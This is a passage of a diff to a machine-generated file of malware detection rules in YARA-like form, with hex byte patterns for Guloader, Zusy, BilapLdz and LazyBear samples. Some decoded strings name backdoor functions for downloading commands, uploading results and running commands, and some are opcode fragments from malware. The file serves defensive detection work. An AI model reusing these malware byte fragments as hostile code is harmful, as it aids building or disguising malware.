6c 6c 79 01 00 16 81 01 74 6f 72 73 69 6f 6e 73 20 69 64 79 78 6b 61 74 61 6c 6f 67 65 72 01 00 1e 81 01 76 65 6b 74 6f 72 66 75 6e 6b 74 69 6f 6e 65 72 6e 65 73 20 69 6e 69 72 72 69 74 61 6e 74 01 00 18 81 01 64 61 6e 65 66 20 74 61 6b } //385 - $a_73_3 = {61 6e 74 69 6b 6c 64 65 72 73 00 00 78 a4 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 4f 30 31 21 4d 54 42 00 01 00 10 81 01 6d 6f 75 72 69 74 7a 65 20 6f 75 74 6c 61 73 68 01 00 1c 81 01 75 6e 64 65 66 65 6e 73 69 76 65 20 6d 79 74 68 69 66 79 69 6e 67 20 73 70 69 6e 79 01 00 28 81 01 61 76 6c } //25964 + $a_6b_1 = {01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 24 81 01 33 38 63 65 39 35 61 36 2d 65 65 32 33 2d 34 34 64 32 2d 38 66 38 65 2d 31 32 36 30 30 36 63 32 61 30 39 63 00 00 78 a4 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 49 30 31 21 4d 54 42 00 01 00 26 81 01 } //30318 + $a_6c_2 = {64 73 76 6f 74 61 73 20 68 69 73 74 6f 64 69 61 6c 79 74 69 63 20 69 6e 74 65 72 72 65 67 6e 6e 61 01 00 29 81 01 6d 69 73 6c 65 61 64 69 6e 67 73 20 73 75 70 70 72 65 73 73 69 6f 6e 65 72 6e 65 73 20 74 6f 6d 62 6f 6c 61 65 72 6e 65 73 01 00 0c 81 01 66 6f 72 73 61 65 64 65 2e 65 78 65 01 00 0d 81 01 6a 65 6e 6b 6f 6e 74 } //26996 + $a_65_3 = {73 00 00 78 a4 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 4e 30 31 21 4d 54 42 00 01 00 1e 81 01 6c 61 6e 64 73 74 69 6e 67 73 6d 65 64 6c 65 6d 20 75 64 6b 6d 70 65 6c 73 65 72 6e 65 73 01 00 21 81 01 76 69 6e 73 74 65 6e 73 73 79 72 65 20 6b 6f 6e 74 72 6f 6c 6b 6f 6d 6d 69 73 73 69 6f 6e 65 } //27489 condition: - ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*30318+(#a_6f_2 & 1)*385+(#a_73_3 & 1)*25964) >=4 + ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*30318+(#a_6c_2 & 1)*26996+(#a_65_3 & 1)*27489) >=4 } -rule _InfrastructureShared_11352{ +rule _InfrastructureShared_12089{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 49 30 31 21 4d 54 42 00 01 00 26 81 01 74 69 6c 6c 69 64 73 76 6f 74 61 73 20 68 69 73 74 6f 64 69 61 6c 79 74 69 63 20 69 6e 74 65 72 72 65 67 6e 6e 61 01 00 29 81 01 6d 69 73 6c 65 61 64 69 6e } //18467 + $a_73_1 = {70 70 72 65 73 73 69 6f 6e 65 72 6e 65 73 20 74 6f 6d 62 6f 6c 61 65 72 6e 65 73 01 00 0c 81 01 } //29543 + $a_73_2 = {65 64 65 2e 65 78 65 01 00 0d 81 01 6a 65 6e 6b 6f 6e 74 61 6b 74 65 72 73 00 00 78 a4 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 4e 30 31 21 4d 54 42 00 01 00 1e 81 01 6c 61 6e 64 73 74 69 6e 67 73 6d 65 64 6c 65 6d 20 75 64 6b 6d 70 65 6c 73 65 72 6e 65 73 01 00 21 81 01 76 69 6e 73 74 } //28518 + $a_73_3 = {72 65 20 6b 6f 6e 74 72 6f 6c 6b 6f 6d 6d 69 73 73 69 6f 6e 65 6e 73 01 00 1a 81 01 73 6e 69 70 70 69 6c 79 20 67 72 61 79 6f 75 74 73 20 62 65 73 65 65 6e 64 65 01 00 0f 81 01 63 68 61 65 74 6f 70 6f 64 61 6e 2e 65 78 65 00 00 78 a4 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 44 43 31 32 33 } //28261 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29543+(#a_73_2 & 1)*28518+(#a_73_3 & 1)*28261) >=4 + +} +rule _InfrastructureShared_12090{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 4e 30 31 21 4d 54 42 00 01 00 1e 81 01 6c 61 6e 64 73 74 69 6e 67 73 6d 65 64 6c 65 6d 20 75 64 6b 6d 70 65 6c 73 65 72 6e 65 73 01 00 21 81 01 76 69 6e 73 74 65 6e 73 73 79 72 65 20 6b 6f 6e 74 } //18467 + $a_6b_1 = {6d 6d 69 73 73 69 6f 6e 65 6e 73 01 00 1a 81 01 73 6e 69 70 70 69 6c 79 20 67 72 61 79 6f 75 74 73 20 62 65 73 65 65 6e 64 65 01 00 0f 81 01 63 68 61 65 74 6f 70 6f 64 61 6e 2e 65 78 65 00 00 78 a4 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 44 43 31 32 33 21 4d 54 42 00 } //28530 + $a_81_2 = {63 6f 6d 70 72 65 73 73 69 6e 67 6c 79 20 6f 74 6f 6c 6f 67 69 63 61 6c 6c 79 } //1 compressingly otologically + $a_81_3 = {74 6f 72 73 69 6f 6e 73 20 69 64 79 78 6b 61 74 61 6c 6f 67 65 72 } //1 torsions idyxkataloger + condition: + ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*28530+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} +rule _InfrastructureShared_12091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 44 43 31 32 33 21 4d 54 42 00 01 00 1a 81 01 63 6f 6d 70 72 65 73 73 69 6e 67 6c 79 20 6f 74 6f 6c 6f 67 69 63 61 6c 6c 79 01 00 16 81 01 74 6f 72 73 69 6f 6e 73 20 69 64 79 78 6b 61 74 61 6c 6f } //18467 - $a_01_1 = {00 1e 81 01 76 65 6b 74 6f 72 66 75 6e 6b 74 69 6f 6e 65 72 6e 65 73 20 69 6e 69 72 72 69 74 61 6e 74 01 00 18 81 01 64 61 6e 65 66 20 74 61 6b 6c 65 74 73 20 61 6e 74 69 6b 6c 64 65 72 73 00 00 78 a4 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 4f 30 31 21 4d 54 42 00 01 00 10 81 01 6d 6f } //25959 - $a_74_2 = {65 20 6f 75 74 6c 61 73 68 01 00 1c 81 01 75 6e 64 65 66 65 6e 73 69 76 65 20 6d 79 74 68 69 66 79 69 6e 67 20 73 70 69 6e 79 01 00 28 81 01 61 76 6c 73 67 61 61 72 64 65 6e 20 62 65 64 65 6d 61 6e 64 73 6d 69 6e 65 20 62 69 62 65 6d 72 6b 6e 69 6e 67 65 6e 73 01 00 14 81 01 73 70 6f 75 74 79 20 75 64 73 6b 61 6d } //29301 - $a_2e_3 = {78 65 00 00 78 a4 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 42 69 6c 61 70 4c 64 7a 2e 41 21 4d 54 42 00 01 00 2d 02 4c 89 7c 24 30 48 8d 90 01 05 c7 44 24 28 80 00 00 00 45 33 c9 45 33 c0 c7 44 24 20 02 00 00 00 ba 00 00 00 c0 44 89 7c 24 60 ff 90 00 01 00 0d 00 88 44 1c 68 48 ff c3 48 83 fb 10 72 dd 01 00 1e 02 33 c9 ff 15 90 } //25965 + $a_01_1 = {00 1e 81 01 76 65 6b 74 6f 72 66 75 6e 6b 74 69 6f 6e 65 72 6e 65 73 20 69 6e 69 72 72 69 74 61 6e 74 01 00 18 81 01 64 61 6e 65 66 20 74 61 6b 6c 65 74 73 20 61 6e 74 69 6b 6c 64 65 72 73 00 00 78 a4 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 53 48 30 31 21 4d 54 42 00 01 00 1f 81 01 70 68 } //25959 + $a_7a_2 = {61 6e 20 75 64 70 65 6e 73 6c 69 6e 67 65 6e 73 20 63 6f 6e 69 63 6c 65 01 00 23 81 01 70 73 65 75 64 6f 62 72 61 6e 63 68 20 68 75 63 6b 73 74 65 72 69 6e 67 20 75 6e 69 6c 6c 75 73 6f 72 79 01 00 16 81 01 6d 75 63 6f 73 69 74 69 65 73 20 65 6e 74 61 6c 73 66 6f 72 6d 73 01 00 10 81 01 67 72 6f 73 73 69 73 74 65 72 6e 65 2e 65 78 } //29817 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25959+(#a_74_2 & 1)*29301+(#a_2e_3 & 1)*25965) >=4 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25959+(#a_7a_2 & 1)*29817) >=4 } -rule _InfrastructureShared_11353{ +rule _InfrastructureShared_12092{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 53 48 30 31 21 4d 54 42 00 01 00 1f 81 01 70 68 79 74 6f 7a 6f 61 6e 20 75 64 70 65 6e 73 6c 69 6e 67 65 6e 73 20 63 6f 6e 69 63 6c 65 01 00 23 81 01 70 73 65 75 64 6f 62 72 61 6e 63 68 20 68 75 63 } //18467 + $a_65_1 = {69 6e 67 20 75 6e 69 6c 6c 75 73 6f 72 79 01 00 16 81 01 6d 75 63 6f 73 69 74 69 65 73 20 65 6e 74 61 6c 73 66 6f 72 6d 73 01 00 10 81 01 67 72 6f 73 73 69 73 74 65 72 6e 65 2e 65 78 65 00 00 78 a4 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 4f 30 31 21 4d 54 42 00 01 00 10 81 01 6d 6f 75 72 69 } //29547 + $a_20_2 = {75 74 6c 61 73 68 01 00 1c 81 01 75 6e 64 65 66 65 6e 73 69 76 65 20 6d 79 74 68 69 66 79 69 6e 67 20 73 70 69 6e 79 01 00 28 81 01 61 76 6c 73 67 61 61 72 64 65 6e 20 62 65 64 65 6d 61 6e 64 73 6d 69 6e 65 20 62 69 62 65 6d 72 6b 6e 69 6e 67 65 6e 73 01 00 14 81 01 73 70 6f 75 74 79 20 75 64 73 6b 61 } //31348 + $a_74_3 = {65 78 65 00 00 78 a4 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 42 69 6c 61 70 4c 64 7a 2e 41 21 4d 54 42 00 01 00 2d 02 4c 89 7c 24 30 48 8d 90 01 05 c7 44 24 28 80 00 00 00 45 33 c9 45 33 c0 c7 44 24 20 02 00 00 00 ba 00 00 00 c0 44 89 7c 24 60 ff 90 00 01 00 0d 00 88 44 1c 68 48 ff } //28013 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29547+(#a_20_2 & 1)*31348+(#a_74_3 & 1)*28013) >=4 + +} +rule _InfrastructureShared_12093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -124871,7 +133150,7 @@ rule _InfrastructureShared_11353{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*385+(#a_00_2 & 1)*21581+(#a_02_3 & 1)*1) >=4 } -rule _InfrastructureShared_11354{ +rule _InfrastructureShared_12094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -124883,7 +133162,7 @@ rule _InfrastructureShared_11354{ ((#a_4c_0 & 1)*21539+(#a_1c_2 & 1)*-30720+(#a_00_3 & 1)*19316) >=4 } -rule _InfrastructureShared_11355{ +rule _InfrastructureShared_12095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -124896,7 +133175,7 @@ rule _InfrastructureShared_11355{ ((#a_4c_0 & 1)*21539+(#a_ba_1 & 1)*-30399+(#a_01_2 & 1)*25964+(#a_70_3 & 1)*17268) >=4 } -rule _InfrastructureShared_11356{ +rule _InfrastructureShared_12096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -124910,7 +133189,7 @@ rule _InfrastructureShared_11356{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*25958+(#a_4c_2 & 1)*11877+(#a_69_3 & 1)*26981+(#a_79_4 & 1)*29230) >=4 } -rule _InfrastructureShared_11357{ +rule _InfrastructureShared_12097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -124926,7 +133205,7 @@ rule _InfrastructureShared_11357{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25955+(#a_77_2 & 1)*30465+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720) >=4 } -rule _InfrastructureShared_11358{ +rule _InfrastructureShared_12098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -124942,7 +133221,7 @@ rule _InfrastructureShared_11358{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*30027+(#a_41_2 & 1)*12851+(#a_47_3 & 1)*-32756+(#a_53_4 & 1)*16720+(#a_00_5 & 1)*5+(#a_3a_6 & 1)*21587) >=4 } -rule _InfrastructureShared_11359{ +rule _InfrastructureShared_12099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -124955,7 +133234,7 @@ rule _InfrastructureShared_11359{ ((#a_46_0 & 1)*16675+(#a_74_2 & 1)*24321+(#a_2e_3 & 1)*28532+(#a_04_4 & 1)*-28561) >=5 } -rule _InfrastructureShared_11360{ +rule _InfrastructureShared_12100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -124967,7 +133246,7 @@ rule _InfrastructureShared_11360{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*24946+(#a_65_2 & 1)*27497) >=5 } -rule _InfrastructureShared_11361{ +rule _InfrastructureShared_12101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -124980,7 +133259,7 @@ rule _InfrastructureShared_11361{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*26483+(#a_6e_2 & 1)*24933+(#a_00_4 & 1)*0) >=5 } -rule _InfrastructureShared_11362{ +rule _InfrastructureShared_12102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -124994,7 +133273,7 @@ rule _InfrastructureShared_11362{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*30059+(#a_6d_2 & 1)*27233+(#a_00_3 & 1)*27756+(#a_61_4 & 1)*384) >=5 } -rule _InfrastructureShared_11363{ +rule _InfrastructureShared_12103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -125008,7 +133287,7 @@ rule _InfrastructureShared_11363{ ((#a_41_0 & 1)*20515+(#a_57_1 & 1)*-32750+(#a_50_2 & 1)*28001+(#a_75_3 & 1)*28001+(#a_34_4 & 1)*25699) >=5 } -rule _InfrastructureShared_11364{ +rule _InfrastructureShared_12104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -125020,7 +133299,7 @@ rule _InfrastructureShared_11364{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*17747+(#a_54_2 & 1)*17996) >=6 } -rule _InfrastructureShared_11365{ +rule _InfrastructureShared_12105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -125034,7 +133313,7 @@ rule _InfrastructureShared_11365{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*15496+(#a_4c_2 & 1)*7936+(#a_8b_3 & 1)*2084+(#a_42_4 & 1)*21076) >=6 } -rule _InfrastructureShared_11366{ +rule _InfrastructureShared_12106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -125048,7 +133327,7 @@ rule _InfrastructureShared_11366{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*104+(#a_00_2 & 1)*400+(#a_63_4 & 1)*19456+(#a_00_5 & 1)*144) >=6 } -rule _InfrastructureShared_11367{ +rule _InfrastructureShared_12107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -125063,7 +133342,7 @@ rule _InfrastructureShared_11367{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*104+(#a_40_2 & 1)*400+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=6 } -rule _InfrastructureShared_11368{ +rule _InfrastructureShared_12108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -125078,7 +133357,7 @@ rule _InfrastructureShared_11368{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*22383+(#a_31_2 & 1)*19789+(#a_35_3 & 1)*14132+(#a_48_4 & 1)*8448+(#a_00_5 & 1)*66) >=6 } -rule _InfrastructureShared_11369{ +rule _InfrastructureShared_12109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -125093,7 +133372,7 @@ rule _InfrastructureShared_11369{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25972+(#a_23_2 & 1)*6+(#a_42_3 & 1)*19745+(#a_72_4 & 1)*385+(#a_4d_5 & 1)*16686) >=6 } -rule _InfrastructureShared_11370{ +rule _InfrastructureShared_12110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -125108,7 +133387,7 @@ rule _InfrastructureShared_11370{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25972+(#a_23_2 & 1)*6+(#a_00_3 & 1)*21581+(#a_01_4 & 1)*2048+(#a_01_5 & 1)*2304) >=6 } -rule _InfrastructureShared_11371{ +rule _InfrastructureShared_12111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -125121,7 +133400,7 @@ rule _InfrastructureShared_11371{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*385+(#a_52_4 & 1)*21320+(#a_69_5 & 1)*26996) >=6 } -rule _InfrastructureShared_11372{ +rule _InfrastructureShared_12112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -125135,7 +133414,7 @@ rule _InfrastructureShared_11372{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24947+(#a_20_2 & 1)*25971+(#a_48_4 & 1)*8448+(#a_6e_5 & 1)*26995) >=6 } -rule _InfrastructureShared_11373{ +rule _InfrastructureShared_12113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -125150,7 +133429,7 @@ rule _InfrastructureShared_11373{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25203+(#a_00_2 & 1)*65+(#a_54_3 & 1)*384+(#a_61_4 & 1)*16756+(#a_6d_5 & 1)*19827) >=6 } -rule _InfrastructureShared_11374{ +rule _InfrastructureShared_12114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -125164,7 +133443,7 @@ rule _InfrastructureShared_11374{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26727+(#a_42_2 & 1)*19777+(#a_6e_4 & 1)*385+(#a_63_5 & 1)*29264) >=6 } -rule _InfrastructureShared_11375{ +rule _InfrastructureShared_12115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -125179,7 +133458,7 @@ rule _InfrastructureShared_11375{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*30068+(#a_43_3 & 1)*3584+(#a_50_4 & 1)*29793+(#a_41_5 & 1)*27489+(#a_41_6 & 1)*9332) >=7 } -rule _InfrastructureShared_11376{ +rule _InfrastructureShared_12116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -125196,7 +133475,7 @@ rule _InfrastructureShared_11376{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*28530+(#a_3a_2 & 1)*28527+(#a_20_3 & 1)*29301+(#a_03_4 & 1)*-28640+(#a_06_5 & 1)*9765+(#a_90_6 & 1)*769+(#a_01_7 & 1)*1) >=8 } -rule _InfrastructureShared_11377{ +rule _InfrastructureShared_12117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 03 00 21 " @@ -125208,7 +133487,7 @@ rule _InfrastructureShared_11377{ ((#a_46_0 & 1)*21283+(#a_74_1 & 1)*337+(#a_ff_2 & 1)*400) >=9 } -rule _InfrastructureShared_11378{ +rule _InfrastructureShared_12118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " @@ -125222,7 +133501,7 @@ rule _InfrastructureShared_11378{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*769+(#a_01_2 & 1)*10244+(#a_00_3 & 1)*1038+(#a_04_4 & 1)*-28561) >=9 } -rule _InfrastructureShared_11379{ +rule _InfrastructureShared_12119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -125234,7 +133513,7 @@ rule _InfrastructureShared_11379{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1030+(#a_00_2 & 1)*66) >=12 } -rule _InfrastructureShared_11380{ +rule _InfrastructureShared_12120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -125247,7 +133526,7 @@ rule _InfrastructureShared_11380{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28578+(#a_03_2 & 1)*-28558+(#a_03_3 & 1)*-28558) >=13 } -rule _InfrastructureShared_11381{ +rule _InfrastructureShared_12121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 21 " @@ -125259,7 +133538,19 @@ rule _InfrastructureShared_11381{ ((#a_54_0 & 1)*18467+(#a_0c_1 & 1)*400+(#a_09_2 & 1)*1025) >=14 } -rule _InfrastructureShared_11382{ +rule _InfrastructureShared_12122{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 32 00 32 03 0f b6 74 1d ff 56 58 83 c0 df 83 e8 5e 73 1f 90 90 8b 04 24 e8 90 01 04 8d 44 18 ff 50 8d 46 0e 6a 5e 59 90 90 90 90 99 } //21539 + $a_ea_1 = {58 88 10 90 00 19 00 1d 01 53 5a 2b 55 ec 8b 4d fc 8a 54 11 ff 8b 4d fc 8a 4c 19 ff 32 d1 88 54 18 ff 43 4e 75 dc 19 00 22 01 50 5a d1 e2 8b 4c 24 08 8d 54 d1 04 89 54 24 04 8b 54 24 04 8b 0b 89 0a 8b 54 24 04 89 13 40 83 f8 64 00 00 78 a4 00 00 f4 01 f4 01 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 42 65 61 72 2e 41 21 64 68 61 00 64 00 14 01 65 6e } //-1545 + $a_65_2 = {43 72 65 61 74 65 53 65 73 73 69 6f 6e 64 00 14 01 65 6e 67 69 6e 65 2e 43 68 65 63 6b 43 6f 6e 6e 54 69 6d 65 64 00 16 01 65 6e 67 69 6e 65 2e 44 6f 77 6e 6c 6f 61 64 43 6f 6d 6d 61 6e 64 64 00 13 01 65 6e 67 69 6e 65 2e 55 70 6c 6f 61 64 52 65 73 75 6c 74 64 00 12 01 65 6e 67 69 6e 65 2e 50 72 6f 63 65 73 73 5f 43 6d 64 00 00 } //26983 + condition: + ((#a_4c_0 & 1)*21539+(#a_ea_1 & 1)*-1545+(#a_65_2 & 1)*26983) >=100 + +} +rule _InfrastructureShared_12123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,fffffff4 01 fffffff4 01 05 00 21 " @@ -125273,7 +133564,7 @@ rule _InfrastructureShared_11382{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*28009+(#a_6a_2 & 1)*18754+(#a_01_3 & 1)*-28603+(#a_01_4 & 1)*-28608) >=500 } -rule _InfrastructureShared_11383{ +rule _InfrastructureShared_12124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -125283,7 +133574,7 @@ rule _InfrastructureShared_11383{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11384{ +rule _InfrastructureShared_12125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -125293,7 +133584,7 @@ rule _InfrastructureShared_11384{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11385{ +rule _InfrastructureShared_12126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -125303,7 +133594,7 @@ rule _InfrastructureShared_11385{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11386{ +rule _InfrastructureShared_12127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -125313,7 +133604,7 @@ rule _InfrastructureShared_11386{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11387{ +rule _InfrastructureShared_12128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -125323,7 +133614,7 @@ rule _InfrastructureShared_11387{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11388{ +rule _InfrastructureShared_12129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -125333,7 +133624,7 @@ rule _InfrastructureShared_11388{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11389{ +rule _InfrastructureShared_12130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -125343,7 +133634,7 @@ rule _InfrastructureShared_11389{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11390{ +rule _InfrastructureShared_12131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -125353,7 +133644,7 @@ rule _InfrastructureShared_11390{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11391{ +rule _InfrastructureShared_12132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -125363,7 +133654,7 @@ rule _InfrastructureShared_11391{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11392{ +rule _InfrastructureShared_12133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -125373,7 +133664,7 @@ rule _InfrastructureShared_11392{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11393{ +rule _InfrastructureShared_12134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -125383,7 +133674,7 @@ rule _InfrastructureShared_11393{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11394{ +rule _InfrastructureShared_12135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -125393,7 +133684,7 @@ rule _InfrastructureShared_11394{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11395{ +rule _InfrastructureShared_12136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -125403,7 +133694,7 @@ rule 